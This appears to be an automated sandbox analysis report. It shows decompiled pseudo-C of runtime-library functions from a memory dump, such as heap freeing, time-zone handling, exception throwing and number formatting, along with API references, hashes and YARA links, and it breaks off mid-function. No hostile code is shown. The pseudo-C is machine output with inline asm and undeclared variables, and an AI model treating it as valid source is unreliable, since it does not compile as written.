0x6dd5e971
0x6dd5e6c8
0x00000000

APIs

Part of subcall function 6DD5F26D: RtlAllocateHeap.NTDLL(00000000,6DD175D9,00000000,?,6DD30F8B,00000002,00000000,?,?,?,6DCF1298,6DD175D9,00000004,00000000,00000000,00000000), ref: 6DD5F29F

_free.LIBCMT ref: 6DD5E611
_free.LIBCMT ref: 6DD5E628
_free.LIBCMT ref: 6DD5E647
_free.LIBCMT ref: 6DD5E662
_free.LIBCMT ref: 6DD5E679

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$AllocateHeap
String ID:
API String ID: 3033488037-0
Opcode ID: 9ef30a80a9294253cf8d9d957e68f2edc8ee21803ac89e6d53a56fbe8f15679d
Instruction ID: ef927c48890edd349445263fd0dba13397f78247183d27d12909ee251f086eb0
Opcode Fuzzy Hash: 9ef30a80a9294253cf8d9d957e68f2edc8ee21803ac89e6d53a56fbe8f15679d
Instruction Fuzzy Hash: 9F51DF32A04205EFDF11FF29C840A7AB3F5EF45764F004A69F909D7251E731E9218B90

Uniqueness

Uniqueness Score: -1.00%

Function 6DD68951, Relevance: 7.7, APIs: 5, Instructions: 171
timeCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E6DD68951(void* __ebx, void* __edi, void* __eflags) {
				int _v8;
				int _v12;
				int _v16;
				int _v20;
				signed int _v56;
				char _v268;
				intOrPtr _v272;
				char _v276;
				char _v312;
				char _v316;
				void* __esi;
				void* __ebp;
				void* _t36;
				signed int _t38;
				signed int _t42;
				signed int _t50;
				void* _t54;
				void* _t56;
				signed int* _t61;
				intOrPtr _t71;
				void* _t78;
				signed int _t85;
				void* _t87;
				signed int _t88;
				signed int _t90;
				int _t94;
				char** _t96;
				signed int _t100;
				signed int _t101;
				signed int _t106;
				signed int _t107;
				intOrPtr _t116;
				intOrPtr _t118;

				_t89 = __edi;
				_t96 = E6DD6822B();
				_v8 = 0;
				_v12 = 0;
				_v16 = 0;
				_t36 = E6DD68289( &_v8);
				_pop(_t78);
				if(_t36 != 0) {
					L19:
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					E6DD52188();
					asm("int3");
					_t106 = _t107;
					_t38 =  *0x6ddd506c; // 0x5c069606
					_v56 = _t38 ^ _t106;
					 *0x6ddd5384 =  *0x6ddd5384 | 0xffffffff;
					 *0x6ddd5378 =  *0x6ddd5378 | 0xffffffff;
					_push(0);
					_push(_t96);
					_t90 = 0;
					 *0x6ddd7a10 = 0;
					_t42 = E6DD61216(0x6dd82130, _t87, 0, __eflags,  &_v316,  &_v312, 0x100, 0x6dd82130);
					__eflags = _t42;
					if(_t42 != 0) {
						__eflags = _t42 - 0x22;
						if(_t42 == 0x22) {
							_t101 = E6DD5F26D(_t78, _v272);
							__eflags = _t101;
							if(__eflags != 0) {
								_t50 = E6DD61216(0x6dd82130, _t87, 0, __eflags,  &_v276, _t101, _v272, 0x6dd82130);
								__eflags = _t50;
								if(_t50 == 0) {
									E6DD5CBD3(0);
									_t90 = _t101;
								} else {
									_push(_t101);
									goto L26;
								}
							} else {
								_push(0);
								L26:
								E6DD5CBD3();
							}
						}
					} else {
						_t90 =  &_v268;
					}
					asm("sbb esi, esi");
					_t100 =  ~(_t90 -  &_v268) & _t90;
					__eflags = _t90;
					if(__eflags == 0) {
						L34:
						E6DD68951(0x6dd82130, _t90, __eflags);
					} else {
						__eflags =  *_t90;
						if(__eflags == 0) {
							goto L34;
						} else {
							_push(_t90);
							E6DD6877C(0x6dd82130, _t90, __eflags);
						}
					}
					E6DD5CBD3(_t100);
					__eflags = _v12 ^ _t106;
					return E6DD2F8A5(_v12 ^ _t106, _t87, _t100);
				} else {
					_t54 = E6DD68231( &_v12);
					_pop(_t78);
					if(_t54 != 0) {
						goto L19;
					} else {
						_t56 = E6DD6825D( &_v16);
						_pop(_t78);
						if(_t56 != 0) {
							goto L19;
						} else {
							E6DD5CBD3( *0x6ddd7a08);
							 *0x6ddd7a08 = 0;
							 *_t107 = 0x6ddd7a18;
							if(GetTimeZoneInformation(??) != 0xffffffff) {
								_t85 =  *0x6ddd7a18 * 0x3c;
								_t88 =  *0x6ddd7a6c; // 0x0
								_push(__edi);
								 *0x6ddd7a10 = 1;
								_v8 = _t85;
								_t116 =  *0x6ddd7a5e; // 0x0
								if(_t116 != 0) {
									_v8 = _t85 + _t88 * 0x3c;
								}
								_t118 =  *0x6ddd7ab2; // 0x0
								if(_t118 == 0) {
									L9:
									_v12 = 0;
									_v16 = 0;
								} else {
									_t71 =  *0x6ddd7ac0; // 0x0
									if(_t71 == 0) {
										goto L9;
									} else {
										_v12 = 1;
										_v16 = (_t71 - _t88) * 0x3c;
									}
								}
								_t94 = E6DD53CD0(0, _t88);
								if(WideCharToMultiByte(_t94, 0, 0x6ddd7a1c, 0xffffffff,  *_t96, 0x3f, 0,  &_v20) == 0 || _v20 != 0) {
									 *( *_t96) = 0;
								} else {
									( *_t96)[0x3f] = 0;
								}
								if(WideCharToMultiByte(_t94, 0, 0x6ddd7a70, 0xffffffff, _t96[1], 0x3f, 0,  &_v20) == 0 || _v20 != 0) {
									 *(_t96[1]) = 0;
								} else {
									_t96[1][0x3f] = 0;
								}
							}
							 *(E6DD68225()) = _v8;
							 *(E6DD68219()) = _v12;
							_t61 = E6DD6821F();
							 *_t61 = _v16;
							return _t61;
						}
					}
				}
			}

0x6dd68951
0x6dd68960
0x6dd68967
0x6dd6896b
0x6dd6896e
0x6dd68971
0x6dd68976
0x6dd68979
0x6dd68aa1
0x6dd68aa1
0x6dd68aa2
0x6dd68aa3
0x6dd68aa4
0x6dd68aa5
0x6dd68aa6
0x6dd68aab
0x6dd68aaf
0x6dd68ab7
0x6dd68abe
0x6dd68ac1
0x6dd68ace
0x6dd68ad5
0x6dd68ad6
0x6dd68add
0x6dd68aec
0x6dd68af3
0x6dd68afb
0x6dd68afd
0x6dd68b07
0x6dd68b0a
0x6dd68b17
0x6dd68b1a
0x6dd68b1c
0x6dd68b35
0x6dd68b3d
0x6dd68b3f
0x6dd68b45
0x6dd68b4a
0x6dd68b41
0x6dd68b41
0x00000000
0x6dd68b41
0x6dd68b1e
0x6dd68b1e
0x6dd68b1f
0x6dd68b1f
0x6dd68b1f
0x6dd68b4c
0x6dd68aff
0x6dd68aff
0x6dd68aff
0x6dd68b59
0x6dd68b5b
0x6dd68b5d
0x6dd68b5f
0x6dd68b6f
0x6dd68b6f
0x6dd68b61
0x6dd68b61
0x6dd68b64
0x00000000
0x6dd68b66
0x6dd68b66
0x6dd68b67
0x6dd68b6c
0x6dd68b64
0x6dd68b75
0x6dd68b80
0x6dd68b8b
0x6dd6897f
0x6dd68983
0x6dd68988
0x6dd6898b
0x00000000
0x6dd68991
0x6dd68995
0x6dd6899a
0x6dd6899d
0x00000000
0x6dd689a3
0x6dd689a9
0x6dd689ae
0x6dd689b4
0x6dd689c4
0x6dd689ca
0x6dd689d1
0x6dd689d7
0x6dd689db
0x6dd689e1
0x6dd689e4
0x6dd689eb
0x6dd689f2
0x6dd689f2
0x6dd689f5
0x6dd689fc
0x6dd68a14
0x6dd68a14
0x6dd68a17
0x6dd689fe
0x6dd689fe
0x6dd68a05
0x00000000
0x6dd68a07
0x6dd68a09
0x6dd68a0f
0x6dd68a0f
0x6dd68a05
0x6dd68a1f
0x6dd68a3b
0x6dd68a4b
0x6dd68a42
0x6dd68a44
0x6dd68a44
0x6dd68a69
0x6dd68a7b
0x6dd68a70
0x6dd68a73
0x6dd68a73
0x6dd68a69
0x6dd68a85
0x6dd68a8f
0x6dd68a94
0x6dd68a99
0x6dd68aa0
0x6dd68aa0
0x6dd6899d
0x6dd6898b

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,6DD82130), ref: 6DD689BB
WideCharToMultiByte.KERNEL32(00000000,00000000,6DDD7A1C,000000FF,00000000,0000003F,00000000,?,?), ref: 6DD68A33
WideCharToMultiByte.KERNEL32(00000000,00000000,6DDD7A70,000000FF,?,0000003F,00000000,?), ref: 6DD68A60
_free.LIBCMT ref: 6DD689A9

Part of subcall function 6DD5CBD3: HeapFree.KERNEL32(00000000,00000000,?,6DD6CFAF,00000000,00000000,00000000,00000000,?,6DD6D2B4,00000000,00000007,00000000,?,6DD6C0FC,00000000), ref: 6DD5CBE9
Part of subcall function 6DD5CBD3: GetLastError.KERNEL32(00000000,?,6DD6CFAF,00000000,00000000,00000000,00000000,?,6DD6D2B4,00000000,00000007,00000000,?,6DD6C0FC,00000000,00000000), ref: 6DD5CBFB

_free.LIBCMT ref: 6DD68B75

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharMultiWide_free$ErrorFreeHeapInformationLastTimeZone
String ID:
API String ID: 1286116820-0
Opcode ID: a4b963171ca01ee5e65bb2e86ef9c82ea53b27d0fd23c5fb819d18f5f89ae211
Instruction ID: 2afd7db5e7ed71703c5122160ae1bcc1c834051b7b2174df4c97f31122347d2a
Opcode Fuzzy Hash: a4b963171ca01ee5e65bb2e86ef9c82ea53b27d0fd23c5fb819d18f5f89ae211
Instruction Fuzzy Hash: E051B671D04255FBDF20FF698C4097AB7B8AB47314F1146AAF965A71C1D7709A408BF0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD5A737, Relevance: 7.6, APIs: 5, Instructions: 129
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E6DD5A737(signed int* __ecx, signed int __edx) {
				signed int _v8;
				intOrPtr* _v12;
				signed int _v16;
				signed int _t28;
				signed int _t29;
				intOrPtr _t33;
				signed int _t37;
				signed int _t38;
				signed int _t40;
				void* _t50;
				signed int _t56;
				intOrPtr* _t57;
				signed int _t68;
				signed int _t71;
				signed int _t72;
				signed int _t74;
				signed int _t75;
				signed int _t78;
				signed int _t80;
				signed int* _t81;
				signed int _t85;
				void* _t86;

				_t72 = __edx;
				_v12 = __ecx;
				_t28 =  *__ecx;
				_t81 =  *_t28;
				if(_t81 != 0) {
					_t29 =  *0x6ddd506c; // 0x5c069606
					_t56 =  *_t81 ^ _t29;
					_t78 = _t81[1] ^ _t29;
					_t83 = _t81[2] ^ _t29;
					asm("ror edi, cl");
					asm("ror esi, cl");
					asm("ror ebx, cl");
					if(_t78 != _t83) {
						L14:
						 *_t78 = E6DD51F1D( *((intOrPtr*)( *((intOrPtr*)(_v12 + 4)))));
						_t33 = E6DD2F8FA(_t56);
						_t57 = _v12;
						 *((intOrPtr*)( *((intOrPtr*)( *_t57)))) = _t33;
						_t24 = _t78 + 4; // 0x4
						 *((intOrPtr*)( *((intOrPtr*)( *_t57)) + 4)) = E6DD2F8FA(_t24);
						 *((intOrPtr*)( *((intOrPtr*)( *_t57)) + 8)) = E6DD2F8FA(_t83);
						_t37 = 0;
						L15:
						return _t37;
					}
					_t38 = 0x200;
					_t85 = _t83 - _t56 >> 2;
					if(_t85 <= 0x200) {
						_t38 = _t85;
					}
					_t80 = _t38 + _t85;
					if(_t80 == 0) {
						_t80 = 0x20;
					}
					if(_t80 < _t85) {
						L9:
						_push(4);
						_t80 = _t85 + 4;
						_push(_t80);
						_v8 = E6DD6AC0E(_t56);
						_t40 = E6DD5CBD3(0);
						_t68 = _v8;
						_t86 = _t86 + 0x10;
						if(_t68 != 0) {
							goto L11;
						}
						_t37 = _t40 | 0xffffffff;
						goto L15;
					} else {
						_push(4);
						_push(_t80);
						_v8 = E6DD6AC0E(_t56);
						E6DD5CBD3(0);
						_t68 = _v8;
						_t86 = _t86 + 0x10;
						if(_t68 != 0) {
							L11:
							_t56 = _t68;
							_v8 = _t68 + _t85 * 4;
							_t83 = _t68 + _t80 * 4;
							_t78 = _v8;
							_push(0x20);
							asm("ror eax, cl");
							_t71 = _t78;
							_v16 = 0 ^  *0x6ddd506c;
							asm("sbb edx, edx");
							_t74 =  !_t72 & _t68 + _t80 * 0x00000004 - _t78 + 0x00000003 >> 0x00000002;
							_v8 = _t74;
							if(_t74 == 0) {
								goto L14;
							}
							_t75 = _v16;
							_t50 = 0;
							do {
								_t50 = _t50 + 1;
								 *_t71 = _t75;
								_t71 = _t71 + 4;
							} while (_t50 != _v8);
							goto L14;
						}
						goto L9;
					}
				}
				return _t28 | 0xffffffff;
			}

0x6dd5a737
0x6dd5a741
0x6dd5a745
0x6dd5a747
0x6dd5a74b
0x6dd5a755
0x6dd5a766
0x6dd5a76b
0x6dd5a76d
0x6dd5a76f
0x6dd5a771
0x6dd5a773
0x6dd5a777
0x6dd5a831
0x6dd5a83f
0x6dd5a841
0x6dd5a846
0x6dd5a84d
0x6dd5a84f
0x6dd5a85d
0x6dd5a86c
0x6dd5a86f
0x6dd5a871
0x00000000
0x6dd5a872
0x6dd5a77f
0x6dd5a784
0x6dd5a789
0x6dd5a78b
0x6dd5a78b
0x6dd5a78d
0x6dd5a792
0x6dd5a796
0x6dd5a796
0x6dd5a799
0x6dd5a7b8
0x6dd5a7b8
0x6dd5a7ba
0x6dd5a7bd
0x6dd5a7c6
0x6dd5a7c9
0x6dd5a7ce
0x6dd5a7d1
0x6dd5a7d6
0x00000000
0x00000000
0x6dd5a7d8
0x00000000
0x6dd5a79b
0x6dd5a79b
0x6dd5a79d
0x6dd5a7a6
0x6dd5a7a9
0x6dd5a7ae
0x6dd5a7b1
0x6dd5a7b6
0x6dd5a7e0
0x6dd5a7e3
0x6dd5a7e5
0x6dd5a7e8
0x6dd5a7f0
0x6dd5a7f6
0x6dd5a7fd
0x6dd5a7ff
0x6dd5a807
0x6dd5a816
0x6dd5a81a
0x6dd5a81c
0x6dd5a81f
0x00000000
0x00000000
0x6dd5a821
0x6dd5a824
0x6dd5a826
0x6dd5a826
0x6dd5a827
0x6dd5a829
0x6dd5a82c
0x00000000
0x6dd5a826
0x00000000
0x6dd5a7b6
0x6dd5a799
0x00000000

APIs

_free.LIBCMT ref: 6DD5A7A9
_free.LIBCMT ref: 6DD5A7C9

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: dce93b0545553d788b8684ca5da83906f410500a436d62f25c668d15b8d6a19a
Instruction ID: 018d045ac9d83167062020201a1c363c78920d8f7d70000f3f71f625ba846fbb
Opcode Fuzzy Hash: dce93b0545553d788b8684ca5da83906f410500a436d62f25c668d15b8d6a19a
Instruction Fuzzy Hash: 3F41D236E402149FDF10EF78C880A6DB7B5EF85318F1685A9E615EB241D731B912CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD5D683, Relevance: 7.6, APIs: 5, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E6DD5D683(void* __ecx, void* __edx) {
				intOrPtr _t2;
				void* _t4;
				void* _t10;
				void* _t11;
				void* _t13;
				void* _t16;
				long _t17;

				_t11 = __ecx;
				_t17 = GetLastError();
				_t10 = 0;
				_t2 =  *0x6ddd51e4; // 0x6
				_t20 = _t2 - 0xffffffff;
				if(_t2 == 0xffffffff) {
					L2:
					_t16 = E6DD5C7EF(_t11, 1, 0x364);
					_pop(_t13);
					if(_t16 != 0) {
						_t4 = E6DD64196(_t13, __eflags,  *0x6ddd51e4, _t16);
						__eflags = _t4;
						if(_t4 != 0) {
							E6DD5D33F(_t13, _t16, 0x6ddd76f0);
							E6DD5CBD3(_t10);
							__eflags = _t16;
							if(_t16 != 0) {
								goto L9;
							} else {
								goto L8;
							}
						} else {
							_push(_t16);
							goto L4;
						}
					} else {
						_push(_t10);
						L4:
						E6DD5CBD3();
						L8:
						SetLastError(_t17);
					}
				} else {
					_t16 = E6DD64140(_t11, _t20, _t2);
					if(_t16 != 0) {
						L9:
						SetLastError(_t17);
						_t10 = _t16;
					} else {
						goto L2;
					}
				}
				return _t10;
			}

APIs

GetLastError.KERNEL32(6DD175D9,6DD175D9,00000002,6DD52286,6DD5F2B0,00000000,?,6DD30F8B,00000002,00000000,?,?,?,6DCF1298,6DD175D9,00000004), ref: 6DD5D688
_free.LIBCMT ref: 6DD5D6BD
_free.LIBCMT ref: 6DD5D6E4
SetLastError.KERNEL32(00000000,?,6DD175D9), ref: 6DD5D6F1
SetLastError.KERNEL32(00000000,?,6DD175D9), ref: 6DD5D6FA

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 78d90e2426d83be1f59c03936dda8ae368bc9a698e2ac0dba022fcf56770ce96
Instruction ID: cd3d42343c9c9707ce3cff38d0a33b0b16af9e8d0813d27fd2218ef21a4d522a
Opcode Fuzzy Hash: 78d90e2426d83be1f59c03936dda8ae368bc9a698e2ac0dba022fcf56770ce96
Instruction Fuzzy Hash: A4018136189516A7AF0277699C88F6B277A9BD33657220125F91892142FF74882283B4

Uniqueness

Uniqueness Score: -1.00%

Function 6DD6CCC3, Relevance: 7.5, APIs: 5, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6DD6CCC3(intOrPtr* _a4) {
				intOrPtr _t6;
				intOrPtr* _t21;
				void* _t23;
				void* _t24;
				void* _t25;
				void* _t26;
				void* _t27;

				_t21 = _a4;
				if(_t21 != 0) {
					_t23 =  *_t21 -  *0x6ddd50b8; // 0x6ddd50b0
					if(_t23 != 0) {
						E6DD5CBD3(_t7);
					}
					_t24 =  *((intOrPtr*)(_t21 + 4)) -  *0x6ddd50bc; // 0x6ddd7248
					if(_t24 != 0) {
						E6DD5CBD3(_t8);
					}
					_t25 =  *((intOrPtr*)(_t21 + 8)) -  *0x6ddd50c0; // 0x6ddd7248
					if(_t25 != 0) {
						E6DD5CBD3(_t9);
					}
					_t26 =  *((intOrPtr*)(_t21 + 0x30)) -  *0x6ddd50e8; // 0x6ddd50b4
					if(_t26 != 0) {
						E6DD5CBD3(_t10);
					}
					_t6 =  *((intOrPtr*)(_t21 + 0x34));
					_t27 = _t6 -  *0x6ddd50ec; // 0x6ddd724c
					if(_t27 != 0) {
						return E6DD5CBD3(_t6);
					}
				}
				return _t6;
			}

0x6dd6ccc9
0x6dd6ccce
0x6dd6ccd2
0x6dd6ccd8
0x6dd6ccdb
0x6dd6cce0
0x6dd6cce4
0x6dd6ccea
0x6dd6cced
0x6dd6ccf2
0x6dd6ccf6
0x6dd6ccfc
0x6dd6ccff
0x6dd6cd04
0x6dd6cd08
0x6dd6cd0e
0x6dd6cd11
0x6dd6cd16
0x6dd6cd17
0x6dd6cd1a
0x6dd6cd20
0x00000000
0x6dd6cd28
0x6dd6cd20
0x6dd6cd2b

APIs

_free.LIBCMT ref: 6DD6CCDB

Part of subcall function 6DD5CBD3: HeapFree.KERNEL32(00000000,00000000,?,6DD6CFAF,00000000,00000000,00000000,00000000,?,6DD6D2B4,00000000,00000007,00000000,?,6DD6C0FC,00000000), ref: 6DD5CBE9
Part of subcall function 6DD5CBD3: GetLastError.KERNEL32(00000000,?,6DD6CFAF,00000000,00000000,00000000,00000000,?,6DD6D2B4,00000000,00000007,00000000,?,6DD6C0FC,00000000,00000000), ref: 6DD5CBFB

_free.LIBCMT ref: 6DD6CCED
_free.LIBCMT ref: 6DD6CCFF
_free.LIBCMT ref: 6DD6CD11
_free.LIBCMT ref: 6DD6CD23

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 0c462bfda0701cc688269b2ab6a8ba92927bcd715c5090b1298101e9ba13e336
Instruction ID: 1f9683ab47bdc906f604fe10ca1abb43cc7211b6b2fcfa4ace957131d6d6b464
Opcode Fuzzy Hash: 0c462bfda0701cc688269b2ab6a8ba92927bcd715c5090b1298101e9ba13e336
Instruction Fuzzy Hash: 94F03731548245DBCF10FB5DE880E3B3BFAEA06310B625809F128D7902DB30F8A08AF0

Uniqueness

Uniqueness Score: -1.00%

Function 6DCF1EEA, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 40%

			E6DCF1EEA(void* __ecx, void* __edx, void* __esi, signed int _a4, char _a8) {
				char _v12;
				char _v32;
				signed int _t14;
				void* _t19;
				signed char _t24;
				void* _t27;
				char* _t31;

				_t27 = __edx;
				_t14 = _a4 & 0x00000017;
				 *(__ecx + 0xc) = _t14;
				_t24 =  *(__ecx + 0x10) & _t14;
				if(_t24 == 0) {
					return _t14;
				} else {
					if(_a8 != 0) {
						_push(0);
						_push(0);
					} else {
						if((_t24 & 0x00000004) == 0) {
							_t31 =  ==  ? "ios_base::eofbit set" : "ios_base::failbit set";
						} else {
							_t31 = "ios_base::badbit set";
						}
						_t19 = E6DCF1CA2(_t24, _t27,  &_v12, 1);
						_t24 =  &_v32;
						E6DCF1EBD(_t24, _t31, _t19);
						_push(0x6ddd3568);
						_push( &_v32);
					}
					E6DD33D74();
					asm("int3");
					return  *((intOrPtr*)(_t24 + 0xc));
				}
			}

0x6dcf1eea
0x6dcf1ef3
0x6dcf1ef6
0x6dcf1efd
0x6dcf1eff
0x6dcf1f47
0x6dcf1f01
0x6dcf1f05
0x6dcf1f4a
0x6dcf1f4c
0x6dcf1f07
0x6dcf1f0a
0x6dcf1f20
0x6dcf1f0c
0x6dcf1f0c
0x6dcf1f0c
0x6dcf1f29
0x6dcf1f32
0x6dcf1f35
0x6dcf1f3a
0x6dcf1f42
0x6dcf1f42
0x6dcf1f4e
0x6dcf1f53
0x6dcf1f57
0x6dcf1f57

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 6DCF1F4E

Strings

ios_base::badbit set, xrefs: 6DCF1F0C, 6DCF1F31
ios_base::eofbit set, xrefs: 6DCF1F1B
ios_base::failbit set, xrefs: 6DCF1F16

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: Exception@8Throw
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 2005118841-1866435925
Opcode ID: bb32eacd6158cbe31e99ed748dd56be0d49cdc6b41d0fce27ab2cedb4dd459cd
Instruction ID: ee4991f5b7473f200cde5e8f773eda7601cf45d12daf5020661bf41eccdf7f53
Opcode Fuzzy Hash: bb32eacd6158cbe31e99ed748dd56be0d49cdc6b41d0fce27ab2cedb4dd459cd
Instruction Fuzzy Hash: 3BF0C8F2D0420D7BDF85EA5DC941FE933A86F04324F148499FA91AB182F765A943C750

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1407D, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E6DD1407D(void* __ebx, intOrPtr __ecx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t30;
				void* _t33;

				E6DD300AC(0x6dd7808e, __ebx, __edi, __esi, 8);
				_t30 = __ecx;
				 *((intOrPtr*)(_t33 - 0x14)) = __ecx;
				 *((intOrPtr*)(_t33 - 0x10)) = 0;
				 *((intOrPtr*)(__ecx + 0x10)) = 0;
				 *((intOrPtr*)(__ecx + 0x14)) = 0xf;
				 *((char*)(__ecx)) = 0;
				 *((intOrPtr*)(_t33 - 4)) = 0;
				 *((intOrPtr*)(_t33 - 0x10)) = 1;
				E6DD15192(_t30,  *((intOrPtr*)( *((intOrPtr*)(_t33 + 8)) + 0x10)) + E6DD51D60("[json.exception."));
				E6DD12D14(_t30, "[json.exception.", E6DD51D60("[json.exception."));
				E6DD11F57( *((intOrPtr*)(_t33 + 8)));
				return E6DD30075(_t30);
			}

0x6dd14084
0x6dd14089
0x6dd1408b
0x6dd14090
0x6dd14093
0x6dd14096
0x6dd1409d
0x6dd140a4
0x6dd140a8
0x6dd140c0
0x6dd140d0
0x6dd140d8
0x6dd140e4

APIs

__EH_prolog3.LIBCMT ref: 6DD14084
_strlen.LIBCMT ref: 6DD140AF
_strlen.LIBCMT ref: 6DD140C6

Strings

[json.exception., xrefs: 6DD1409F, 6DD140A7, 6DD140C5, 6DD140CD

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: _strlen$H_prolog3
String ID: [json.exception.
API String ID: 2883720156-791563284
Opcode ID: 04bb3431d721a57da3531ffab3a2189023965d872db5722f233ed76132f744e7
Instruction ID: 931150d0b8b43dcd8365d4d2914347e06da7bb2cf36340f5ad6f752099988bc7
Opcode Fuzzy Hash: 04bb3431d721a57da3531ffab3a2189023965d872db5722f233ed76132f744e7
Instruction Fuzzy Hash: 79F090B0608215AFCB05AF78DC406BEB6E9FF85318F46011AF119D7341CBB4594087B1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD5F345, Relevance: 6.3, APIs: 4, Instructions: 305
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E6DD5F345(void* __edx, signed int* _a4, signed int _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, signed int _a24, signed int _a28, intOrPtr _a32, intOrPtr _a36) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				unsigned int _v20;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				char _v40;
				intOrPtr _v48;
				char _v52;
				void* __ebx;
				void* __edi;
				void* _t86;
				signed int _t92;
				signed int _t93;
				signed int _t94;
				signed int _t100;
				void* _t101;
				void* _t102;
				void* _t104;
				void* _t107;
				void* _t109;
				void* _t111;
				void* _t115;
				char* _t116;
				void* _t119;
				signed int _t121;
				signed int _t128;
				signed int* _t129;
				signed int _t136;
				signed int _t137;
				char _t138;
				signed int _t139;
				signed int _t142;
				signed int _t146;
				signed int _t151;
				char _t156;
				char _t157;
				void* _t161;
				unsigned int _t162;
				signed int _t164;
				signed int _t166;
				signed int _t170;
				void* _t171;
				signed int* _t172;
				signed int _t174;
				signed int _t181;
				signed int _t182;
				signed int _t183;
				signed int _t184;
				signed int _t185;
				signed int _t186;
				signed int _t187;

				_t171 = __edx;
				_t181 = _a24;
				if(_t181 < 0) {
					_t181 = 0;
				}
				_t184 = _a8;
				 *_t184 = 0;
				E6DD41F60(0,  &_v52, _t171, _a36);
				_t5 = _t181 + 0xb; // 0xb
				if(_a12 > _t5) {
					_t172 = _a4;
					_t142 = _t172[1];
					_v36 =  *_t172;
					__eflags = (_t142 >> 0x00000014 & 0x000007ff) - 0x7ff;
					if((_t142 >> 0x00000014 & 0x000007ff) != 0x7ff) {
						L11:
						__eflags = _t142 & 0x80000000;
						if((_t142 & 0x80000000) != 0) {
							 *_t184 = 0x2d;
							_t184 = _t184 + 1;
							__eflags = _t184;
